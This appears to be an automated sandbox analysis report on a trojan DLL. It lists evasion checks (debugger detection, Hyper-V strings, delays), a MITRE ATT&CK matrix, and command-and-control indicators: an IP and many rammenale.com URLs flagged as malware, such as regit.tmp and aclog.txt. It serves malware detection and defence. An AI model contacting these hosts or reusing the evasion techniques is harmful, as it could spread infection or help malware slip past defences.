Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E1629 FindFirstFileW,CloseHandle,_strlen,ExpandEnvironmentStringsW,CopyFileW,Sleep,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	0_2_6F9E1629
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9F1C74 FindFirstFileExW,	0_2_6F9F1C74
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E1629 FindFirstFileW,CloseHandle,_strlen,ExpandEnvironmentStringsW,CopyFileW,Sleep,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	3_2_6F9E1629
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F1C74 FindFirstFileExW,	3_2_6F9F1C74

Source: C:\Windows\System32\loaddll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: rundll32.exe, 0000000B.00000002.3274796619.00000000088BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: rundll32.exe, 00000006.00000002.3274805413.0000000008499000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWwR9
Source: rundll32.exe, 00000005.00000002.3274732553.000000000843D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3274732553.0000000008469000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008499000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3274905046.0000000008B4B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008DD1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D71000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.000000000891D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275450644.000000000920D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%\system32\dnsapi.dll,-103Pv\g
Source: rundll32.exe, 00000006.00000002.3274805413.000000000846E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWXdJ
Source: rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: rundll32.exe, 00000009.00000002.3274905046.0000000008AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(2

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9E3741 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6F9E3741

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9F2E75 GetProcessHeap,

0_2_6F9F2E75

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E3741 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6F9E3741
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9E324C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6F9E324C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F9EC07A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6F9EC07A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E3741 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6F9E3741
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E324C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6F9E324C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9EC07A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6F9EC07A

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9E393B cpuid

0_2_6F9E393B

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9E3390 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6F9E3390

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Dll1.dll	32%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://rammenale.com/J	0%	Avira URL Cloud	safe
https://rammenale.com/K	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txtQ8	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpaC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp%	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtJ	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtPR	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp$q	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpent	100%	Avira URL Cloud	malware
https://rammenale.com/M	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclogI	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txthe	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpryh	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4J	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtO	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtPg	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txte	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtf	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4r	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp.(	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp60	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtd	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt-	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpent0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtentg	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmprmh	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtent	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtag	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt(	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpo	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpq	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpk	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog&	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmps	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpmpf	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp6634-1003	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4p	100%	Avira URL Cloud	malware
https://rammenale.com/	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmph	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtentindowsINetCookies	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpE0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt6634-1003	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpj	100%	Avira URL Cloud	malware
https://rammenale.com/R#	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txt4r	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpd	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt49?	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtC:	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogtxtH	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpY	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt&8	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt4er	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpPR	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpentindowsINetCookies	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtft	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtjx	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpU	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpV	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogtxtB	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4e	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtm	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtV~	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclogtxt	100%	Avira URL Cloud	malware
https://rammenale.com/Si	0%	Avira URL Cloud	safe
https://rammenale.com/for2/aclog.txtr	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txts	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpG	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp5A	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpE	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtp	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txt	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp/	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtWk	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpmp	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmpR0	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp2	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtz	100%	Avira URL Cloud	malware
https://rammenale.com/for2/aclog.txtP;	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4T	100%	Avira URL Cloud	malware
https://rammenale.com/for2/regit.tmp4P	100%	Avira URL Cloud	malware
https://rammenale.com/D	0%	Avira URL Cloud	safe
https://rammenale.com/for2/regit.tmp4	100%	Avira URL Cloud	malware
https://rammenale.com/1p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rammenale.com	131.153.206.231	true	true		unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/regit.tmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://rammenale.com/for2/regit.tmpent	rundll32.exe, 00000009.00000002.3272263359.0000000002C81000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369942393.0000000003645000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272727200.0000000003645000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtPR	rundll32.exe, 00000006.00000002.3273575831.0000000002A60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/M	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog.txtJ	rundll32.exe, 00000006.00000002.3274805413.0000000008453000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp$q	rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/K	rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/aclog.txtQ8	rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/J	rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmpaC:	loaddll32.exe, 00000000.00000002.2084984797.0000000000A80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp%	rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtO	rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txthe	rundll32.exe, 00000005.00000002.3274732553.0000000008423000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogI	rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtPg	rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4r	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4J	rundll32.exe, 00000005.00000002.3274732553.0000000008469000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpryh	rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtf	rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txte	rundll32.exe, 00000005.00000002.3272308201.000000000267A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.00000000084B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp.(	rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp60	rundll32.exe, 0000000C.00000002.3272566960.00000000035DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtd	rundll32.exe, 00000006.00000002.3274805413.0000000008453000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpent0	rundll32.exe, 0000000A.00000002.3272127824.0000000002E60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt-	rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmprmh	rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt(	rundll32.exe, 00000006.00000002.3274805413.00000000084B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtag	rundll32.exe, 00000005.00000002.3274732553.0000000008486000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtent	rundll32.exe, 00000006.00000002.3272227188.0000000002610000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4	rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.000000000891D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtentg	rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpo	rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpq	rundll32.exe, 0000000A.00000002.3272127824.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog	rundll32.exe, 0000000B.00000002.3274421722.0000000004D30000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt:	rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpk	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4j	rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/aclog&	rundll32.exe, 00000006.00000002.3274805413.00000000084B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtF	rundll32.exe, 00000005.00000002.3272308201.000000000267A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/regit.tmpmpf	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpz	rundll32.exe, 00000009.00000002.3274905046.0000000008B5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.0000000009270000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmps	rundll32.exe, 0000000A.00000002.3273620140.0000000003150000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272288324.0000000003430000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpt	rundll32.exe, 0000000C.00000003.2369942393.0000000003645000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272727200.0000000003645000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpC:	rundll32.exe, 00000003.00000002.2056608367.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2056574094.0000000003360000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3272128849.00000000029F0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3272263359.0000000002C10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3273461533.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3272127824.0000000002E60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272566960.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3272431562.0000000003480000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt6634-1003	rundll32.exe, 00000005.00000002.3274732553.0000000008423000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3274805413.0000000008453000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2370250074.000000000922D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275553692.000000000922E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.2369876959.000000000921F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmp6634-1003	rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.3274852987.0000000008D53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3275204855.00000000091F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4p	rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmph	rundll32.exe, 00000009.00000002.3274905046.0000000008B02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtentindowsINetCookies	rundll32.exe, 00000005.00000002.3272308201.00000000026E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002CA9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpE0	rundll32.exe, 0000000A.00000002.3272127824.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpj	rundll32.exe, 0000000A.00000002.3274852987.0000000008D82000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/R#	rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rammenale.com/for2/regit.tmpd	rundll32.exe, 00000009.00000002.3274905046.0000000008AD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4r	rundll32.exe, 00000005.00000002.3274732553.0000000008450000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt49?	rundll32.exe, 00000006.00000002.3274805413.0000000008481000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpPR	rundll32.exe, 00000009.00000002.3273671925.0000000002E80000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt&8	rundll32.exe, 0000000B.00000002.3274796619.00000000088D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtC:	rundll32.exe, 00000005.00000002.3272308201.0000000002670000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3273346372.00000000027E0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3272227188.0000000002610000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3273406270.00000000027A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272218090.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3272399936.0000000002C30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogtxtH	rundll32.exe, 00000006.00000002.3272073394.00000000002F7000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4er	rundll32.exe, 00000006.00000002.3274805413.0000000008499000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpY	rundll32.exe, 0000000A.00000002.3274852987.0000000008D6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
